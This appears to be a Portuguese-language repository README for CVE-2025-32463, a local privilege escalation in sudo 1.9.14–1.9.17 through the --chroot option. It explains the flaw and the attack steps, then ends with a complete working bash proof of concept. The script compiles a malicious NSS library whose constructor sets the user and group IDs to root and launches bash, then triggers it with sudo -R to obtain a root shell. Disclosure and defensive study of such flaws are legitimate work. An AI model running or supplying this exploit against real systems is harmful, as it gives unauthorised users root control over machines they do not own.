📌 CVE-2025-32463 — Escalação Local de Privilégios no Sudo --chroot

ID do ExploitDB: 52352

---

🧠 Visão Geral

Este repositório documenta uma vulnerabilidade crítica de escalada local de privilégios (LPE) que afeta as versões Sudo 1.9.14 – 1.9.17.

A vulnerabilidade decorre da implementação incorreta da opção sudo -R (--chroot), que permite ao atacante executar comandos com privilégios de root, mesmo sem permissão no arquivo sudoers.

🔥 Resultado: Um usuário não autorizado → root shell

---

🧩 Componente Afetado

• Software: sudo
• Versões Afetadas:
  • 1.9.14
  • 1.9.15
  • 1.9.16
  • 1.9.17
• ID CVE: CVE-2025-32463
• Plataforma: Linux (especialmente sistemas que usam NSS)
• Sistema Testado: Kali Rolling 2025

---

⚙️ Causa Técnica da Vulnerabilidade

O parâmetro --chroot (-R) do sudo permite ao usuário executar comandos sob um diretório raiz definido por ele mesmo.

No entanto, como resultado de uma alteração feita no sudo 1.9.14:

• O arquivo sudoers ainda não foi totalmente validado
• A chamada chroot() é feita utilizando o diretório especificado pelo usuário

Essa condição faz com que o atacante, por meio de um arquivo falso criado por ele mesmo:

/etc/nsswitch.conf

carregue uma biblioteca NSS maliciosa (libnss_*.so) com privilégios de root.

---

🧨 Cenário de Ataque (Resumo)

1. Um diretório temporário é criado
2. Um nsswitch.conf falso é preparado
3. Uma biblioteca compartilhada NSS maliciosa é compilada
4. A chamada sudo -R <dir> <command> é executada
5. A biblioteca NSS é carregada com privilégios de root
6. Um root shell é obtido 🚀

---

🧪 Prova de Conceito (PoC)

⚠️ Utilize apenas em ambientes educacionais e de teste

#!/bin/bash
# sudo-chwoot.sh – PoC for CVE-2025-32463

set -e

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd "$STAGE"

cat > woot1337.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void woot(void) {
    setreuid(0,0);
    setregid(0,0);
    chdir("/");
    execl("/bin/bash","/bin/bash",NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc

gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

sudo -R woot woot